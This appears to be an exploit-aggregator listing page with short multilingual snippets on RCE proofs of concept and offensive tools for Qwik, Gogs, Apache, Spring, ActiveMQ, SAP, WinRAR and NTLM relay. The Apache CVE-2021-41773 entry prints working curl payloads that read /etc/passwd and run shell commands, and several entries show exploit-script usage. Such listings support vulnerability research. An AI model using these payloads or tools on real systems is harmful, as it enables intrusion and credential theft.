Qwik - Unauthenticated RCE via server$ Deserialization

Qwik =1.19.0 contains an insecure deserialization vulnerability in the server$ RPC mechanism, letting unauthenticated attackers execute arbitrary code remotely, exploit requires require availability at runtime. id: CVE-2026-27971 info: name: Qwik - Unauthenticated RCE via server$ Deserialization...

Gogs (Go Git Service) 0.11.66 - Remote Code Execution

Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron. id: CVE-2018-18925 info: name: Go...

Bitrix Site Manager - Remote Code Execution

In the vote aka "Polls, Votes" module before 21.0.100 of Bitrix Site Manager, a remote unauthenticated attacker can execute arbitrary code. id: CVE-2022-27228 info: name: Bitrix Site Manager - Remote Code Execution author: theamanrawat severity: critical description: In the vote aka "Polls, Votes...

CVE-2025-55188-7z-exploit

CVE-2025-55188-7z-exploit 7-Zip Symlink Arbitrary File Write PoC CVE-2025-55188 Description This proof-of-concept demonstrates CVE-2025-55188 , a vulnerability in 7-Zip versions prior to 25.01. The flaw occurs because 7-Zip does not properly handle symbolic links during extraction, allowing a...

Pyramid

Pyramid 这是什么 Pyramid 由以下几部分组成： 1. 一个 Python HTTP/S 服务器，可以传输加密文件（chacha、xor） 2. Python 模块，能够内存加载诸如 Bloodhound-py、secretsdump、LaZagne、Pythonnet、DonPAPI、pythonmemorymodule、paramiko、pproxy 等进攻性工具的内存依赖。 3. 固定的 Python 依赖（zip 文件），可在内存中导入 4. Python 下载器，可以下载、解密并在内存中执行 Pyramid 模块 为何有用 Pyramid...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 中的路径遍历漏洞。 RCE 概念验证 PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh 关注我们 Vulnmachines...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind 远程代码执行漏洞...

CVE-2022-26809

Descripción del CVE CVE-2022-26809 - una debilidad en un componente central de Windows RPC obtuvo una puntuación CVSS de 9.8, no sin razón, ya que el ataque no requiere autenticación y puede ejecutarse de forma remota a través de una red, y puede resultar en ejecución remota de código RCE con los...

dubbo-rce

CVE-2023-23638 仅供学习研究 ZooKeeper 自备 测试环境为 Java 8, 其它版本尚未测试, 不保证可用性 复现时需要为 DemoComsumer 添加 VM 参数: -Ddubbo.hessian.allowNonSerializable=true, 详情参考 https://su18.org/post/hessian/serializable 分析文章: https://exp10it.io/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/ POC 的本质是利用某个 class 修改...

SharpStat

SharpStat C 实用工具，利用 WMI 执行 "cmd.exe /c netstat -n"，将输出保存到文件，然后通过 SMB 远程读取并删除该文件 描述 此脚本会尝试连接所有提供的计算机，并使用 WMI 执行 cmd.exe /c netstat -n 。输出保存到的文件由 '-file' 参数指定。一旦 netstat 命令运行，输出通过远程 SMB 调用读取，然后删除。 虽然这不是最隐蔽的脚本（因为涉及 cmd.exe 执行和保存文件），但有时你不得不这么做。另一种方法是使用 WMI 远程查询 netstat 信息，但该 WMI 类仅适用于 Win10+...

gogsownz

GogsOwnz GogsOwnz 是一个简单的脚本，用于在 Gogs/Gitea 服务器上获取管理员权限和远程代码执行（RCE）。 利用 Gogs/Gitea 的漏洞，包括 CVE-2018-18925 、CVE-2018-20303 。 法律免责声明 本脚本按原样提供，无任何担保，请自行使用并遵守法律。 典型用法 - 请阅读完整用法 获取正在运行的 Gogs/Gitea 信息 root@kitploit: python3 gogsownz.py https://127.0.0.1:3000/ -v --info 利用预授权权限提升（PrivEsc） root@kitploit:...

CVE-2022-22965-Spring-Core-Rce

Spring-Core JDK9+ RCE 使用说明 root@kitploit: ╰─ ./CVE-2022-22965 -h ─╯ 单个检测：./CVE-2022-22965 -u http://127.0.0.1:8080 批量检测：./CVE-2022-22965 -l url.txt 漏洞本地测试 0x01 docker镜像 root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -itd -p 8080:8080 -P vulfocus/spring-core-rce-2022-03-...

SAP_EEM_CVE-2020-6207

PoC para CVE-2020-6207 Falta de comprobación de autenticación en SAP Solution Manager Este script permite verificar y explotar la falta de comprobaciones de autenticación en el servlet SAP EEM tcsmdagentapplicationeem que conduce a RCE en agentes SMDA conectados a SAP Solution Manager Hallazgo...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework 远程代码执行漏洞CVE-2022-22965 漏洞复现环境 root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 写webshell 注意：验证测试时Shell只能写一次， 利用脚本 root@kitploit: python...

CVE-2022-33980

CVE-2022-33980 CVE Apache Commons RCE puede usar las palabras clave url,dns,script para conectarse a cualquier servidor...

CVE-2018-20250-WinRAR-ACE

CVE-2018-20250-WinRAR-ACE 利用WinRAR ACE文件解压路径漏洞（CVE-2018-20250）的C概念验证代码。 资源 https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/ 依赖项 用于校验和方法的InvertedTomato.Crc（可通过NuGet安装）。你也可以使用任何其他JAMCRC实现。 使用方法 root@kitploit...

ntlm_relay_gat

NTLM Relay Gat 描述 NTLM Relay Gat 是一款强大的工具，旨在利用 Impacket 工具套件中的 ntlmrelayx.py 来自动化执行 NTLM 中继攻击。通过利用 ntlmrelayx.py 的功能，NTLM Relay Gat 简化了利用 NTLM 中继漏洞的过程，提供了从列出 SMB 共享到在 MSSQL 数据库上执行命令等一系列功能。 特性 多线程支持 ：使用多个线程并发执行操作。 SMB 共享枚举 ：列出可用的 SMB 共享。 SMB Shell 执行 ：通过 SMB 执行 shell。 秘密转储 ：从目标转储秘密信息。 MSSQL 数据库枚举...

CVE-2016-2434

CVE-2016-2434...

CVE-2022-41852

JXPathライブラリにおけるリモートコード実行 CVE-2022-41852 概念実証 CVE-2022-41852 は攻撃者がアプリケーションサーバ上でコードを実行することを可能にします。 この脆弱性の詳細はこちらをご覧ください: https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/ 注記: 私はこのCVEの作者ではありません。この概念実証を作成したのみです。 便利なリンク JXPath GitHub JXPath Website MITRE CVE-2022-418...

CVE-2023-46604

CVE-2023-46604 该仓库包含针对影响 Apache ActiveMQ 的 CVE-2023-46604 漏洞的利用脚本和概念验证 PoC XML 文件。该漏洞由于 OpenWire 协议中的不安全反序列化实践，允许远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可以利用此漏洞在运行 ActiveMQ 的服务器上执行任意代码。本仓库中的利用脚本自动化了向服务器发送精心构造的请求以触发该漏洞的过程。 仓库内容 exploit.py - 触发漏洞的主要 Python 利用脚本。...